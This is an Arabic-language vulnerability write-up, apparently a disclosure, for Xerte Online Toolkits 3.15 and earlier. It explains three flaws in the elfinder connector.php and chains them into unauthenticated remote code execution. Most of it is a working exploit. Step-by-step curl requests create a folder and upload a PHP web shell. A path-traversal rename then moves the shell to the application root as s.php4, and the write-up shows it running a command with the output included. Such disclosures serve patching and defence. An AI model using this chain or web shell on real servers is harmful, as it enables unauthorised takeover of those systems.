
استغلال غير مصادق عليه لأدوات Xerte Online Toolkits. يتطلب معرفة اسم مستخدم صالح.
تعاني إصدارات Xerte Online Toolkits 3.15 والإصدارات الأقدم من 3 ثغرات في مكوّن /editor/elfinder/php/connector.php، والتي يمكن لمهاجم غير مصادَق أن يسلسلها معًا لتحقيق تنفيذ التعليمات البرمجية عن بُعد (RCE).
Xerte Online Toolkits <= 3.15
تم تطبيق تصحيح مُعاد توجيهه (backported patch) على الإصدارات 3.15 و3.14 و3.13
يمكن للمستخدمين غير المصادَق عليهم إرسال طلبات إلى مكوّن الموصل في /editor/elfinder/php/connector.php
الكود التالي يُستخدم للتحكم في الوصول.
الملف: /editor/elfinder/php/connector.php رقم السطر: 35
if (!isset($_SESSION['toolkits_logon_id'])){
header("location: ../../../index.php");
}
هذا يعيد توجيه المستخدمين غير المصادَق عليهم، مما يمنعهم من تلقي استجابة الطلبات غير المصادَق عليها، لكنه لا ينهي الجلسة وما زال الكود اللاحق يُنفَّذ.
*يتطلب معرفة المهاجم باسم الملف الذي يريد نقله
يمكن للمهاجمين التلاعب بمعامل "name" في طلب "rename" إلى نقطة النهاية connector.php. وهذا يسمح للمهاجمين باستخدام دليل موجود لنقل الملفات خارج دليل الوسائط الخاص بالمستخدمين.
بسبب خطأ في التعبير النمطي (regex) الخاص بمرشح امتداد الملف في connector.php، يمكن للمهاجمين ربط ثغرة عبور المسار الموجودة في الإصدارات نفسها من Xerte بشكل متسلسل لنقل ملف يحتوي على كود PHP خبيث إلى جذر التطبيق بامتداد .php4.
الملف: /editor/elfinder/php/connector.php رقم السطر: 130
array( // hide readmes
'pattern' => '/(readme\.txt)|\.(html|php|php5|php*|phtml|phar|inc|py|pl|sh)$/i',
'read' => false,
التعبير النمطي php* يطابق الحرف السابق فقط. لذلك فهو يطابق ما يلي: "ph" و"php" و"phppp" وما إلى ذلك...
إذا كانت المصادقة مفعّلة (وهو ليس الإعداد الافتراضي لتكوين Xerte)، فيجب على المهاجم معرفة (أو تخمينها بالقوة العمياء) اسم مستخدم صالح. إذا تم استخدام مصادقة الضيف (الافتراضية)، فسيكون دليل المشروع الهدف ببساطة هو 1--Nottingham.
يمكن لمهاجم غير مصادَق إنشاء دليل "example_dir" ورفع ملف "file.txt" يحتوي على كود PHP خبيث إلى أي دليل مشروع ضمن USER-FILES/
يمكنه بعد ذلك استخدام ثغرتي عبور المسار النسبي وقائمة المدخلات غير المسموح بها غير المكتملة الموجودتين في Xerte لتنفيذ عبور المسار عن طريق تغيير اسم الملف المرفوع إلى "example_dir/../../../../file.php4"، ونقل file.txt إلى جذر التطبيق باسم "file.php4"، مما يمنح المهاجم تنفيذ التعليمات البرمجية عن بُعد.
curl 'http://localhost/xt/setup'
معاملات الطلب: uploadDir: جذر التطبيق + USER-FILES/{project id}-{user}-Nottingham/ uploadURL: عنوان URL لدليل المشروع cmd: mkdir name: اسم الدليل الجديد target: معرّف elfinder لدليل media/. نظرًا لأنه جذر elfinder، فسيكون دائمًا "l1_Lw"
curl 'http://localhost/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1-user2-Nottingham/&uploadURL=http://localhost/xt/USER-FILES/1-user2-Nottingham/&cmd=mkdir&name=folder1&target=l1_Lw'
*وسم
في الحمولة يمنع مرشح نوع MIME في elfinder من اكتشاف كود PHP.
معاملات الطلب: uploadDir: جذر التطبيق + USER-FILES/{project id}-{user}-Nottingham/ uploadURL: عنوان URL لدليل المشروع cmd: upload target: معرّف elfinder لدليل media/. نظرًا لأنه جذر elfinder، فسيكون دائمًا "l1_Lw" upload[]: الملف المراد رفعه.
echo '<br><?php system($_GET["cmd"]); ?>' > file.txt
curl -X POST 'http://localhost/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1-user2-Nottingham/&uploadURL=http://localhost/xt/USER-FILES/1-user2-Nottingham/' \
-F 'cmd=upload' \
-F 'target=l1_Lw' \
-F "upload[][email protected];type=text/plain"
echo -n 'file.txt' | base64
ZmlsZS50eHQ=
تأكد من إزالة الحشو (padding)، وفي هذه الحالة يكون فقط "="
أضف معرّف وحدة التخزين. سيكون دائمًا "l1" (كما في "/")
النتيجة: l1_ZmlsZS50eHQ
معاملات الطلب:
uploadDir: جذر التطبيق + USER-FILES/{project id}-{user}-Nottingham/
uploadURL: عنوان URL لدليل المشروع
cmd: rename
name: اسم الدليل وتسلسل عبور المسار واسم الملف الجديد بامتداد .php4
target: معرّف elfinder الذي ولدناه من الملف الجديد l1_ZmlsZS50eHQ
curl 'http://localhost/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1-user2-Nottingham/&uploadURL=http://localhost/xt/USER-FILES/1-user2-Nottingham/&cmd=rename&name=folder1%2F..%2F..%2F..%2F..%2Fs.php4&target=l1_ZmlsZS50eHQ'
معاملات الطلب: cmd: الأمر المراد تنفيذه
curl http://localhost/xt/s.php4?cmd=id
<br>uid=1(daemon) gid=1(daemon) groups=1(daemon)